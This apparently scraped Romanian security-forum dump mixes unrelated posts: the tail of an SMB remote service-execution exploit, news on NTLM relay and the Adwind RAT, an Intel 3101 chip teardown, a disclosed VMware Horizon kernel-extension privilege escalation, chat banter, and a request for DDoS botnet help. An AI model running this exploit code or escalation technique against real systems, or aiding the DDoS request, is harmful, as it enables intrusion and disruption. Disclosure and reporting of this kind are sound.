raise e # Unexpected error else: # It exists, remove it scmr.hRDeleteService(rpcsvc, resp['lpServiceHandle']) scmr.hRCloseServiceHandle(rpcsvc, resp['lpServiceHandle']) print('Creating service %s.....' % service_name) resp = scmr.hRCreateServiceW(rpcsvc, svcHandle, service_name + '\x00', service_name + '\x00', lpBinaryPathName=cmd + '\x00') serviceHandle = resp['lpServiceHandle'] if serviceHandle: # Start service try: print('Starting service %s.....' % service_name) scmr.hRStartServiceW(rpcsvc, serviceHandle) # is it really need to stop? # using command line always makes starting service fail because SetServiceStatus() does not get called print('Stoping service %s.....' % service_name) scmr.hRControlService(rpcsvc, serviceHandle, scmr.SERVICE_CONTROL_STOP) except Exception, e: print(str(e)) print('Removing service %s.....' % service_name) scmr.hRDeleteService(rpcsvc, serviceHandle) scmr.hRCloseServiceHandle(rpcsvc, serviceHandle) except Exception, e: print("ServiceExec Error on: %s" % smbConn.getRemoteHost()) print(str(e)) finally: if svcHandle: scmr.hRCloseServiceHandle(rpcsvc, svcHandle) rpcsvc.disconnect() if len(sys.argv) != 3: print("{} <ip> <pipe_name>".format(sys.argv[0])) sys.exit(1) target = sys.argv[1] pipe_name = sys.argv[2] exploit(target, pipe_name) print('Done') Sursa: https://www.exploit-db.com/exploits/42315/

StackOverflow Importer Do you ever feel like all you’re doing is copy/pasting from Stack Overflow? Let’s take it one step further. from stackoverflow import quick_sort will go through the search results of [python] quick sort looking for the largest code block that doesn’t syntax error in the highest voted answer from the highest voted question and return it as a module. If that answer doesn’t have any valid python code, it checks the next highest voted answer for code blocks. >>> from stackoverflow import quick_sort, split_into_chunks >>> print(quick_sort.sort([1, 3, 2, 5, 4])) [1, 2, 3, 4, 5] >>> print(list(split_into_chunks.chunk("very good chunk func"))) ['very ', 'good ', 'chunk', ' func'] >>> print("I wonder who made split_into_chunks", split_into_chunks.__author__) I wonder who made split_into_chunks https://stackoverflow.com/a/35107113 >>> print("but what's the license? Can I really use this?", quick_sort.__license__) but what's the license? Can I really use this? CC BY-SA 3.0 >>> assert("nice, attribution!") This module is licensed under whatever license you want it to be as long as the license is compatible with the fact that I blatantly copied multiple lines of code from the Python standard library. Sursa: https://github.com/drathier/stack-overflow-import

NTLM Relay Attacks Still Causing Problems in 2017 By Catalin Cimpanu July 11, 2017 Microsoft's July 2017 Patch Tuesday includes a fix for an issue with the NT LAN Manager (NTLM) Authentication Protocol that can be exploited to allow attackers to create admin accounts on a local network's domain controller (DC). The issue was discovered by three Preempt researchers and can be exploited because some of the authentication methods supported by Windows via the Windows Authentication API (SSPI) allow an attacker to downgrade the authentication system back to NTLM, a protocol that shipped for the first time in 1995 with Windows NT 3.51. NTLM relay attack allows creation of DC admin accounts At its heart, the attack Preempt researchers discovered is an NTLM relay attack. These types of attacks have been known to exist for well over a decade, and rely on a user connecting to an infected computer. This computer is usually infected with malware and takes NTLM credentials and relays them to a third-party or uses them to perform malicious actions on the connecting user's behalf, but without his knowledge. This is exactly what the Preempt team discovered. In a blog post published today, and in a YouTube video below, researchers said they could downgrade LDAP authentication attempt against an infected server down to NTLM, and forward authentication and session information to an attacker. The attacker could then use these credentials to create his own admin account on the local network's domain controller, effectively taking over that network. For LDAP operations, the attack works even if the user connecting to the infected server is using LDAP server signing, a security system that digitally signs every LDAP session with a unique key. The Preempt attack is tracked as CVE-2017-8563, and Microsoft issues patches via the following KB articles: 4025331, 4025333, 4025336, 4025337, 4025338, 4025339, 4025341, 4025342, 4025343, 4025344, and 4025409. Attack variation bypasses RDP Restricted-Admin Last but not least, researchers also discovered a variation of this attack that works for RDP connections to infected computers. This attack bypasses RDP Restricted-Admin, the so-called RDP Safe Mode connection type that IT technicians use to connect to infected PCs. Just like the original LDAP attack, attackers downgraded the RDP connection to NTLM and later created a rogue admin account on the local domain controller. Microsoft said this was a known issue, but did not release a fix. Sursa: https://www.bleepingcomputer.com/news/security/ntlm-relay-attacks-still-causing-problems-in-2017/

Inside Intel's first product: the 3101 RAM chip held just 64 bits Intel's first product was not a processor, but a memory chip: the 31011 RAM chip, released in April 1969. This chip held just 64 bits of data (equivalent to 8 letters or 16 digits) and had the steep price tag of $99.50.2 The chip's capacity was way too small to replace core memory, the dominant storage technology at the time, which stored bits in tiny magnetized ferrite cores. However, the 3101 performed at high speed due to its special Schottky transistors, making it useful in minicomputers where CPU registers required fast storage. The overthrow of core memory would require a different technology—MOS DRAM chips—and the 3101 remained in use in the 1980s.3 This article looks inside the 3101 chip and explains how it works. I received two 3101 chips from Evan Wasserman and used a microscope to take photos of the tiny silicon die inside.4 Around the outside of the die, sixteen black bond wires connect pads on the die to the chip's external pins. The die itself consists of silicon circuitry connected by a metal layer on top, which appears golden in the photo. The thick metal lines through the middle of the chip power the chip. The silicon circuitry has a grayish-purple color, but it largely covered by the metal layer. Most of the chip contains a repeated pattern: this is the 16x4 array of storage cells. In the upper left corner of the chip, the digits "3101" in metal identify the chip, but "Intel" is not to be found. Die photo of the Intel 3101 64-bit RAM chip. Click for a larger image. Overview of the chip The 3101 chip is controlled through its 16 external pins. To select one of the chip's 16 words of memory, the address in binary is fed into the chip through the four address pins (A0 to A3). Memory is written by providing the 4-bit value on the data input pins (D1 to D4). Four data output pins (O1 to O4) are used to read memory; these pins are inverted as indicated by the overbar. The chip has two control inputs. The chip select pin (CS) enables or disables the chip. The write enable pin (WE) selects between reading or writing the memory. The chip is powered with 5 volts across the Vcc and ground pins. The diagram below shows how the key components of the 3101 are arranged on the die. The RAM storage cells are arranged as 16 rows of 4 bits. Each row stores a word, with bits D1 and D2 on the left and D3 and D4 on the right. The address decode logic in the middle selects which row of storage is active, based on the address signals coming from the address drivers at the top. At the bottom, the read/write drivers provide the interface between the storage cells and the data in and out pins. Block diagram of the 3101 RAM chip. Transistors Transistors are the key components in a chip. The 3101 uses NPN bipolar transistors, different from the MOS transistors used in modern memory chips. The diagram below shows one of the transistors in the 3101 as it appears on the die. The slightly different tints in the silicon indicate regions that have been doped to form N and P type silicon with different semiconductor properties. The cross-section diagram illustrates the internal structure of the transistor. On top (black) are the metal contacts for the collector (C), emitter (E), and base (B). Underneath, the silicon has been doped to form the N and P regions that make up the transistor. A key innovation of the 3101 was using Schottky transistors (details), which made the 3101 almost twice as fast as other memory chips.5 In the cross section, note that the base's metal contact touches both the P and N regions. You might think this shorts the two regions together, but instead a Schottky diode is formed where the metal contacts the N layer.6 The structure of an NPN Schottky transistor inside the Intel 3101 chip. The 3101 also used many multiple-emitter transistors. While a multiple-emitter transistors may seem strange, they are common in bipolar integrated circuits, especially TTL logic chips. A multiple-emitter transistor simply has several emitter regions embedded in the base region. The die photo below shows one of these transistors with the collector on the left, followed by the base and two emitters. A multiple-emitter transistor from the Intel 3101 chip. Driving the data output pins requires larger, high-current transistors. The image below shows one of these transistors. The central rectangle is the base, surrounded by the C-shaped emitter in the middle and the large collector on the outside. Eight of these high-current transistors are also used to drive the internal address select lines. For the high-current output, the Intel 3101 chip uses larger transistors. Diodes While examining the 3101 chip, I was surprised by the large number of diodes on the chip. Eventually I figured out that the chip used DTL (diode-transistor logic) for most of its logic rather than TTL (transistor-transistor logic) that I was expecting. The diagram below shows one of the diodes on the chip. I believe the chip builds diodes using the standard technique of connecting an NPN transistor as a diode. Presumed structure of a diode inside the 3101 chip. I believe this is a regular diode, not a Schottky diode. Resistors The die photo below shows several resistors on the 3101 die. The long, narrow snaking regions of p-type silicon provide resistance. Resistors in integrated circuits are inconveniently large, but are heavily used in the 3101 for pull-up and pull-down resistors. At the right is a square resistor, which has low resistance because it is very wide.7 It is used to route a signal under the metal layer, rather than functioning a resistor per se. Resistors inside the 3101 chip. The static RAM cell Now that I've explained the individual components of the chip, I'll explain how the circuitry is wired together for storage. The diagram below shows the cell for one bit of storage with the circuit diagram overlaid. Each cell consists of two multi-emitter transistors (outlined in red) and two resistors (at the top). The horizontal and vertical wiring connects cells together. This circuit forms a static RAM cell, basically a latch that can be in one of two states, storing one data bit. The circuitry of one storage cell of the 3101 RAM chip. The two multiple-emitter transistors are outlined in red. Before explaining how this storage cell works, I'll explain a simpler latch circuit, below. This circuit has two transistors cross-connected so if one transistor is on, it forces the other off. In the diagram, the left transistor is on, which keeps the right transistor off, which keeps the left transistor on. Thus, the circuit will remain in this stable configuration. The opposite state—with the left transistor off and the right transistor on—is also stable. Thus, the latch has two stable configurations, allowing it to hold a 0 or a 1. A simple latch circuit. The transistor on the left is on, forcing the transistor on the right off, forcing the transistor on the left off... To make this circuit usable—so the bit can be read or modified—more complex transistors with two emitters are used. One emitter is used to select which cell to read or write, while the other emitter is used for the read or write data. This yields the schematic below, which matches the storage cell die photo diagram above. The RAM cell used in the Intel 3101 is based on multiple-emitter transistors. The row select lines are raised to read/write the row of cells. Each data line accesses a column of cells. Multiple storage cells are combined into a grid to form the memory memory. One word of memory consists of cells in the same row that share select lines. All the cells in a column store the same bit position; their data lines are tied together. (The bias line provides a voltage level to all cells in the memory.8) Note that unlike the simplified cell, the circuit above doesn't have an explicit ground connection; to be powered, it requires a low input on either the select or data/bias lines. There are three cases of interest: Unselected: If the negative row select line is low, current flows out through the row select line. The data and bias lines are unaffected by this cell. Read: If the negative row select line is higher than the data and bias lines, current will flow out the data line if the left transistor is on, and out the bias line if the right transistor is on. Thus, the state of the cell can be read by examining the current on the data line. Write: If the negative row select line is higher and the data and bias lines have significantly different voltages, the transistor on the lower side will switch on, forcing the cell into a particular state. This allows a 0 or 1 to be written to the cell. Thus, by carefully manipulating the voltages on the select lines, data lines and the bias line, one row of memory can be read or written, while the other cells hold their current value without influencing the data line. The storage cell and the associated read/write circuitry are essentially analog circuits rather than digital since the select, data, and bias voltages must be carefully controlled voltages rather than logic levels. The address decode logic The address decode circuitry determines which row of memory cells is selected by the address lines.11 The interesting thing about this circuitry is that you can easily see how it works just by looking at the die photo. The address driver circuitry sends the four address signals along with their complements on eight metal traces through the chip. Each storage row has a four-emitter transistor. In each row you can see four black dots, which are the connections between emitters and address lines. A row will be selected if all the emitter inputs are high.9 A dot on an address line (e.g. A0) will "match" a 1, while a dot on the complemented address line (e.g. A0) will match a 0, so each row matches a unique four-bit address. In the die photo below, you can see the decoding logic counting down in binary for rows 15 down to 11;10 the remainder of the circuit follows the same pattern. The address decode logic in the Intel 3101 RAM chip. Each row decodes matches four address lines to decode one of the 16 address combinations. You can see the value counting down in binary. Some systems that used the 3101 The 64-bit storage capacity of the 3101 was too small for a system's main memory, but the chip had a role in many minicomputers. For example, the Burroughs D Machine was a military computer (and the source of the chips I examined). It used core memory for its main storage, but a board full of 3101 chips provided high-speed storage for its microcode. The Xerox Alto used four 3101 chips to provide 16 high-speed registers for the CPU, while the main memory used slower DRAM chips. Interdata used 3101 chips in many of its 16- and 32-bit minicomputers up until the 1980s.12 The 3101 was also used in smaller systems. The Diablo 8233 terminal used them as RAM.13 The Datapoint 2200 was a "programmable terminal" that held its processor stack in fast 3101 chips rather than the slow main memory which was built from Intel 1405 shift registers. The CPU of the Datapoint 2200 computer was built from a board full of TTL chips. The four white chips in the lower center-right are Intel 3101 RAM chips holding the stack. Photo courtesy of Austin Roche (I think). How I created the die photos To get the die photos, I started with two chips that I received thanks to Evan Wasserman and John Culver. The pins on the chips had been crushed in the mail, but this didn't affect the die photos. The chips had two different lot numbers that indicate they were manufactured a few months apart. Strangely, the metal lids on the chips were different sizes and the dies were slightly different. For more information, see the CPU Shack writeup of the 3101. Two 3101 RAM chips. The chip on the right was manufactured slightly later and has a larger lid over the die. Popping the metal lid off the chips was easy—just a tap with a hammer and chisel. This revealed the die inside. With the lid removed, you can see the die of the 3101 RAM chip and the bond wires connected to the die. Using a metallurgical microscope and Hugin stitching software (details), I stitched together multiple microscope photos to create an image of the die. The metal layer is clearly visible, but it obscures the silicon underneath, making it hard to determine the chip's circuitry. The photo below shows a closeup of the die showing the "3101" part number. The die photo of the Intel 3101 shows mostly the metal layer. I applied acid14 to remove the metal layer. This removed most of the metal, revealing the silicon circuitry underneath. Some of the metal is still visible, but thinner, appearing transparent green. Strangely, the number 3101 turned into 101; apparently the first digit wasn't as protected by oxide as the other digits. Treatment with acid dissolved most of the metal layer of the 3101 chip, revealing the silicon circuits underneath. Below is the complete die photo of the chip with the metal layer partially stripped off. (Click it for a larger version.) This die photo was most useful for analyzing the chip. Enough of the metal was removed to clearly show the silicon circuits, but the remaining traces of metal showed most of the wiring. The N+ silicon regions appear to have darkened in this etch cycle. Die photo of the Intel 3101 64-bit RAM chip with metal layer partially stripped off. I wanted to see how the chip looked with the metal entirely removed so I did a second etch cycle. Unfortunately, this left the die looking like it had been destroyed. After dissolving most of the oxide layer, the die looks like a mess. (This is a different region from the other photos.) I performed a third etch cycle. It turns out that the previous etch hadn't destroyed the die, but just left a thin layer of oxide that caused colored interference bands. The final etch removed the remaining oxide, leaving a nice, clean die. Only a ghost of the "101" number is visible. The contacts between the metal layer and the silicon remained after the etch; they may be different type of metal that didn't dissolve. The metal and oxide have been completely removed from the 3101 die, showing the silicon layer. Below is the full die photo with all the metal stripped off. (Click it for a full-size image.) Die photo of the Intel 3101 64-bit RAM chip with metal layer stripped off. Conclusion The 3101 RAM chip illustrates the amazing improvements in integrated circuits driven by Moore's Law.15 While the 3101 originally cost $99.50 for 64 bits, you can now buy 16 gigabytes of RAM for that price, two billion times as much storage. If you built a 16 GB memory from two billion 3101 chips, the chips alone would weigh about 3000 tons and use over a billion watts, half of Hoover Dam's power. A modern 16GB DRAM module, in comparison, uses only about 5 watts. As for Intel, the 3101 RAM was soon followed by many other memory products with rapidly increasing capacity, making Intel primarily a memory company that also produced processors. However, facing strong competition from Japanese memory manufacturers, Intel changed its focus to microprocessors and abandoned the DRAM business in 1985.16 By 1992, the success of the x86 processor line had made Intel the largest chip maker, justifying this decision. Even though Intel is now viewed as a processor company, it was the humble 3101 memory chip that gave Intel its start. Thanks to Evan Wasserman and John Culver for sending me the chips. John also did a writeup of the 3101 chip, which you can read at CPU Shack. Notes and references You might wonder why Intel's first chip had the seemingly-arbitrary number 3101. Intel had a highly-structured naming system. A 3xxx part number indicated a bipolar product. A 1 for the second digit indicated RAM, while the last two digits (01) were a sequence number. Fortunately, the marketing department stepped in and gave the 4004 and 8008 processors better names. ↩ Memory chips started out very expensive, but prices rapidly dropped. Computer Design Volume 9 page 28, 1970, announced a price drop of the 3101 from $99.50 to $40 in small volumes. Ironically, the Intel 3101 is now a collector's item and on eBay costs much more than the original price—hundreds of dollars for the right package. ↩ Several sources say that the 3101 was the first solid state memory, but this isn't accurate. There were many companies making memory chips in the 1960s. For instance, Texas Instruments announced the 16-bit SN5481 bipolar memory chip in 1966 (Electronics, V39 #1, p151) and Transitron had the TMC 3162 and 3164 16-bit RAM (Electrical Design News, Volume 11, p14). In 1968, RCA made 72-bit and 288-bit CMOS memories for the Air Force (document, photo). Lee Boysel built 256-bit dynamic RAMs at Fairchild in 1968 and 1K dynamic RAMs at Four Phase Systems in 1969 (timeline and Boysel presentation). For more information on the history of memory technology, see timeline and History of Semiconductor Engineering, p215. Another source for memory history is To the Digital Age, p193. ↩ From my measurements, the 3101 die is about 2.39mm by 3.65mm. Feature size is about 12µm. ↩ If you've used TTL chips, you probably used the 74LSxx family. The "S" stands for the Schottky transistors that make these chip fast. These chips were "the single most profitable product line in the history of Texas Instruments" (ref). ↩ The Schottky diode in the Schottky transistor is formed between the base and collector. This diode prevents the transistor from becoming saturated, allowing it to switch faster. ↩ The resistance of an IC resistor is proportional to the length divided by the width. The sheet resistance of a material is measured in the unusual unit of ohms per square. You might think it should be per square nanometer or square mm or something, but since the resistance depends on the ratio of length to width, the unit cancels out. ↩ The bias line is shared by all the cells. For reading, it is set to a low voltage. For writing, it is set to an intermediate voltage: higher than the data 0 voltage, but lower than the data 1 voltage. The bias voltage is controlled by the write enable pin. More advanced chips use two data lines instead of a bias line for more sensitivity. A differential amplifier to compare the currents on the two data lines and distinguish the tiny change between a zero bit and a one bit. However, the 3101 uses such high currents internally that this isn't necessary; it can read the data line directly. ↩ If my analysis is correct, when a row is selected, the address decode logic raises both the positive row select and negative row select lines by about 0.8 volts (one diode drop). Thus, the cell is still powered by the same voltage differential, but the voltage shift makes the data and bias lines active. ↩ Address lines A3 and A2 are reversed in the decoding logic, presumably because it made chip layout simpler. This has no effect on the operation of the chip since it doesn't matter of the physical word order matches the binary order. ↩ The 3101 has a chip select pin that makes it easy to combine multiple chips into a larger memory. If this pin is high, the chip will not read or write its contents. One strange thing about the address decoding logic is that each pair of address lines is driven by a NAND gate latch. There's no actual latching happening, so I don't understand why this circuit is used. How the 3101 implements this feature is a bit surprising. The chip select signal is fed into the address decoding circuit; if the chip is not selected, both A0 and the complement A0 are forced low. Thus, none of the rows will match in the address decoding logic and the chip doesn't respond. ↩ The Interdata 7/32 (the first 32-bit minicomputer) used 3101 chips in its memory controller. (See the maintenance manual page 338.) The Interdata 16/HSALU used 3101 chips for its CPU registers. (See the maintenance manual page 259.) As late as 1982, the Interdata 3210 used 3101 chips to hold cache tags (see manual page 456). On the schematics note that part number 19-075 indicates the 3101. ↩ The Diablo 8233 terminal used 3101A (74S289) chips as RAM for its discrete TTL-based processor (which was more of a microcontroller) that controlled the printer. (See maintenance manual page 187.) This systems was unusual since it contained both an 8080 microprocessor and a TTL-based processor. ↩ The metal layer of the chip is protected by silicon dioxide passivation layer. The professional way to remove this layer is with dangerous hydrofluoric acid. Instead, I used Armour Etch glass etching cream, which is slightly safer and can be obtained at craft stores. I applied the etching cream to the die and wiped it for four minutes with a Q-tip. (Since the cream is designed for frosting glass, it only etches in spots. It must be moved around to obtain a uniform etch.) Next, I applied a few drops of hydrochloric acid (pool acid from the hardware store) to the die for a few hours. ↩ Moore's law not only describes the exponential growth in transistors per chip, but drives this growth. The semiconductor industry sets its roadmap according to Moore's law, making it in some sense a self-fulfilling prophecy. See chapter 8 of Technological Innovation in the Semiconductor Industry for a thorough discussion. ↩ Intel's 1985 Annual Report says "It was a miserable year for Intel" and discusses the decision to leave the DRAM business. ↩ Sursa: http://www.righto.com/2017/07/inside-intels-first-product-3101-ram.html

zynamics BinDiff uses a unique graph-theoretical approach to compare executables by identifying identical and similar functions zynamics BinDiff | Download now for free. By clicking this box, you are indicating that you have read and consent to to be bound by the terms of the End User License Agreement Such consent is a prerequisite to downloading the BinDiff software. If you have not read the terms or do not agree to these terms, then do not click the box and do not download the software. Current version: Filename Size SHA256 bindiff_4.3.0_amd64.deb 24.8M 98776bd9a61a29e4c8518b0ff0ae0a66518ab7c759aead5e3fcf2e6d3bcd1987 BinDiff4.3.dmg 29.7M dd8f0df59b71d1cbc5661ac732c483883a43af43ec78a0b9293e745e23a59f84 bindiff430.msi 28.6M e1915c18026d5a7288cca0c1ff71840bdb473b97c2235862a1241cda231791da Previous version: Filename Size SHA1 bindiff420-debian8-amd64.deb 15M 38fbea8070495fc8730d7c86eae03bc68fde291f bindiff420-debian8-i386.deb 15M 49cdd6ae7ebe5b1813a5fcafaae9fde19005c824 bindiff420-win-pluginsonly.zip 5.8M e2b786d405aac23aced989e02080dd69c18ab75e bindiff420-win-x86.msi 22M 89f2eadc6582d4acca1e78db3617b5fba3eced0f bindiff-license-key.zip 990 95715a8bd7469106fc60b03f94f3cc87604e354c Sursa: https://www.zynamics.com/software.html

CVE-2017-4918: Code Injection in VMware Horizon’s macOS Client Mac OS X, Security, Software Add comments Jul 102017 In this blog post I want to discuss a code injection vulnerability in VMware Horizon‘s macOS Client Version 4.4.0 (5164329) that can be abused to gain local root privileges. The good news is, that it has already been fixed in the latest available version. I found it after learning about the “Open VMware View Client Services” SUID binary on my Mac. I think it is used internally by Horizon’s remote USB services and is only exploitable after they have been started once by entering administrative credentials. To investigate the binary further, I used the newly released Fireeye application Monitor.app. It basically is Process Monitor (procmon) for macOS. Based on the activities as captured by Monitor.app it was clear that “Open VMware View Client Services” was basically a wrapper around “services.sh”. This makes sense as the SUID bit is ignored for script files. After taking a closer look at this script, I identified the highlighted line in the following screenshot as a starting point for a possible code injection vulnerability. Although I had no idea about the inner workings of “./vmware-usbarbitrator” this binary was immediately my focus for further investigations. The reason for this is that I – as a non-admin user – am able to set the content of the environment variable VMWARE_VIEW_USBARBITRATOR_LOG_OPTIONS – that is used in an SUID executed script. After taking a closer look at the possible command line options I was pretty sure I could abuse this setup to load a custom kernel extension by abusing the –kext flag. However, there are two further problems: Kernel Extensions are only loaded if they are owned by root : wheel Additionally, KEXTs the have to be signed by Apple. In the course of this LPE I will ignore issue #2. Hence, I disabled SIP. So let’s focus on issue #1. To successfully load a kernel extension the binary has to be owned by root : wheel. However, for a normal user it is impossible to set this file system permissions on a any local file. Luckily, I had already invested plenty of time to learn about the In’s and Out’s of file systems at Tools On Air. So I knew, the only thing I had to do was to abuse NFS. This is possible because NFS allows the server to specify the file system permissions, even if mounted by a user. Any other local or remote file system I know of, ignores files owned by root in some way. So my next step was to simply export a remote folder (on my Kali Linux I always carry around with me) using NFS… … and mount it using Finder’s “Connect to Server”. After creating a simple KEXT … and updating the Info.plist file to meet the requirements (simply add a dictionary “IOKitPersonalities”) we are ready! After copying this KEXT to the NFS server and adapting its permissions to meet the “root:wheel” requirement, we are finally able to start the real exploitation. To do so simply set the “VMWARE_VIEW_USBARBITRATOR_LOG_OPTIONS” environment variable to our previously create KEXT and run “Open VMware View Client Services”. This is enough to load it! Hence, we gained code execution from a normal user’s account within the kernel context! Suggested Solution Filter or clear the environment variables VMWARE_VIEW_USBARBITRATOR_LOG_OPTIONS and VMWARE_VIEW_USBD_LOG_OPTIONS. Disclosure Timeline 21-04-2017: The issues has been documented and reported 24-04-2017: VMware started investigating 06-06-2017: Fix ready 08-06-2017: Updated Horizon version 4.5 alongside security advisory VMSA-2017-0011 released Sursa: https://bogner.sh/2017/07/cve-2017-4918-code-injection-in-vmware-horizons-macos-client/

Hackers and cyber criminals are becoming dramatically more adept, innovative, and stealthy with each passing day. While other operating systems are more widely in use, cybercriminals have now shifted from traditional activities to more clandestine techniques that come with limitless attack vectors, support for cross platforms and low detection rates. Security researchers have discovered that infamous Adwind, a popular cross-platform Remote Access Trojan written in Java, has re-emerged and currently being used to "target enterprises in the aerospace industry, with Switzerland, Austria, Ukraine, and the US the most affected countries." Adwind — also known as AlienSpy, Frutas, jFrutas, Unrecom, Sockrat, JSocket, and jRat — has been in development since 2013 and is capable of infecting all the major operating systems, including Windows, Mac, Linux, and Android. Adwind has several malicious capabilities including stealing credentials, keylogging, taking pictures or screenshots, data gathering and exfiltrate data. The trojan can even turn infected machines into botnets to abuse them for destructing online services by carrying out DDoS attacks. Researchers from Trend Micro recently noticed a sudden rise in the number of Adwind infections during June 2017 — at least 117,649 instances in the wild, which is 107 percent more than the previous month. According to a blog post published today, the malicious campaign was noticed on two different occasions. First was observed on June 7 and used a link to divert victims to their .NET-written malware equipped with spyware capabilities, while the second wave was noticed on June 14 and used different domains hosting their malware and command-and-control servers. Both waves eventually employed a similar social engineering tactic to trick victims into clicking the malicious links within a spam email that impersonate the chair of the Mediterranean Yacht Broker Association (MYBA) Charter Committee. Once infected, the malware also collects system's fingerprints, along with the list of installed antivirus and firewall applications. My advice for users to remain protected from such malware is always to be suspicious of uninvited documents sent over an email and never click on links inside those documents unless verifying the source. Additionally, keep your systems and antivirus products up-to-date in order to protect against any latest threat. Source

La cat ai scris cred ca i-ai face invidiosi pe cei care au picat bacu' . Cel mai usor mod de a iesi din 'idei geniale la miez de noapte' si sa iti gasesti o motivatie in a face ceva este sa iti stabilesti targeturi pentru care sa dai bani. Platesti pentru un examen (retele, linux, lb. straine, forex, design, etc) si il stabilesti la 1-2 luni distanta. Cu cat mai mic timpul necesar cu atat mai bine. Sa vezi ce chef de invatat o sa ai cand realizezi ca pierzi 100-200 de euro din buzunarul tau pe frecat menta.

mov_0ah_01: lol mov_0ah_01: uite-i cum doarme pe mine mov_0ah_01: https://www.screencast.com/t/N2keqXvE3x aelius: partea dreapta a televizorului e mai lasata cu 1,5 cm aelius: sa pui bolobocul pe el :)))))) mov_0ah_01: e la boloboc pus aelius: =)))))))) nu e mov_0ah_01: ba e ma aelius: sa verifici, sa vezi mov_0ah_01: pare si mie di poza mov_0ah_01: dar cand l-am pus era la boloboc.. acum 4 ani aelius: s-a lasat fallen_angel: apoi de atunci au fost vreo 3 cutremure mov_0ah_01: nu e lipit de perete, poate d-aia arata asa mov_0ah_01: ma faci sa ma duc sa pun bolobocu pe el acum mov_0ah_01: ma injura nevasta-mea ca se uita la tv mov_0ah_01: nesimtitule aelius: exact 1,5 CM mov_0ah_01: nici nu mai pot dormii la noapte mov_0ah_01: bagami-as pula aelius: pune-l ma, e stramb, eu as darma peretele peste el in pula mea mov_0ah_01: =)))))))))))) aelius: nu-l mai suport aelius: nu stiu cum poti sta in casa cu tv-ul stramb aelius: o sa ramai si cu gatul asa dupa el, inclinat la 10 grade fata de orizontala mov_0ah_01: pai tu tii in pula mea capu` fix drept? aelius: da aelius: la boloboc mov_0ah_01: esti nebun mov_0ah_01: adahgdqa mov_0ah_01: sdasjhdasjfdhgsahahaha aelius: e stramb, sa-mi bag pula aelius: daca apare in film o masa cu un pahar de apa aelius: se vede inclinata apa in el ? aelius: ma furnicaie pielea cand vad tv-ul ala stramb aelius: pune femeia sa tina de televizor aelius: si trage tu putin de perete aelius: eu pe bune zic ca tv-ul e stramb aelius: ia uita-te atent la femeie, sta cumva cu capul inclinat ? mov_0ah_01: da, o fi stramb, posibil e... nu-mi mai pasa mov_0ah_01: PAI EA E FEMEIE ESTI TAMPIT mov_0ah_01: SI CAND STA DREAPTA E STRAMBA aelius: ma ia stai asa aelius: si catelu e stramb frate Vorbesc intre timp cu whois pe privat si spun sa-i puna un boloboc sub tv in poza. Ma mai gandesc 10 secunde si spun sa adauge inca un boloboc mic si pe cainele ala. Rezultat final: :))))))))))))))

Salutare mă numesc Radu și sunt începător în ale "flood-ului". De ceva timp m-am mutat de pe C++ pe Perl pentru a face un script de flood. Toate bune și frumoase, după câteva săptămâni de învățat perl la greu am reușit să fac ceva folosind funcția send(); Scriptul merge perfect însă am auzit la niște băieți că există ceva modalitate de flood folosind niște boți însă habar nu am cum se folosesc, etc. Mă poate băga un cunoscător în temă? Orice ajutor este primit dacă este legat de domeniul DDoS. Mulțumesc anticipat!!!